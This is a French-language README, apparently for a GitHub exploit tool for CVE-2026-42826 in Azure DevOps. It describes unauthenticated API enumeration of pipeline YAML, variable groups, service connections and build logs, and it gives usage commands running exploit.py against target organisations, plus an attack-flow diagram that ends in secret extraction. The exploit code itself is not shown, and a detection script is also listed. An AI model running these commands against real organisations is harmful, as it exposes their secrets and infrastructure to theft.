
Exploite CVE-2026-42826 pour énumérer et extraire des données sensibles d'Azure DevOps via des requêtes API REST non authentifiées : YAML de pipeline, groupes de variables, connexions de service et journaux de build.
| Champ | Valeur |
|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Critique (Microsoft) / 7.5 Élevé (NVD) |
| CWE | CWE-200 (Exposition d'informations sensibles à un acteur non autorisé) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| Affecté | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| Corrigé | Azure DevOps Server 2026.0.1+ (Services corrigés côté serveur) |
| Découvreur | Noa Royzman (Microsoft) |
Azure DevOps peut servir la configuration des pipelines, le contenu des groupes de variables et les artefacts de build à des requêtes HTTP non authentifiées dans certaines conditions. Un attaquant distant envoie des requêtes malveillantes à l'API REST Azure DevOps et reçoit des réponses JSON contenant :
Aucun identifiant n'est requis lorsque le projet cible est configuré en visibilité publique, ou lorsqu'un point de terminaison API interne n'applique pas les contrôles d'authentification avant de renvoyer des données.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Les organisations ayant activé les projets publics exposent les dépôts, pipelines, artefacts et éléments de travail à l'internet non authentifié.
Certains points de terminaison API internes ne parviennent pas à appliquer les contrôles d'authentification avant de renvoyer des données sensibles.
Les fichiers YAML des pipelines des projets publics référencent les connexions de service et les groupes de variables par nom, révélant la structure des abonnements Azure, les cibles de déploiement, les URL des registres et les noms d'environnements.
Les métadonnées des connexions de service (ID d'abonnement Azure, ID de locataire, ID de cluster Kubernetes) sont exposées via l'API.
Les valeurs des variables non secrètes sont visibles dans l'interface, renvoyées par l'API et imprimées dans les journaux de build.
Les journaux de build peuvent contenir des données de configuration sensibles, des variables d'environnement et des détails d'infrastructure.
| Fichier | Objectif |
|---|---|
exploit.py | Exploit principal — 6 vecteurs d'attaque, analyse des secrets, génération de rapports |
detect.py | Vérificateur de détection et de durcissement pour les instances Azure DevOps |
test_exploit.py | Tests unitaires (30+ tests validant toutes les fonctionnalités de l'exploit) |
| Document | Contenu |
|---|---|
| USAGE.md | Guide d'utilisation détaillé avec instructions étape par étape |
| DIAGRAM.md | Diagrammes de structure et visualisation du flux d'attaque |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
Voir DIAGRAM.md pour les diagrammes d'architecture complets.
Code (Read) avec une expiration de 90 joursMIT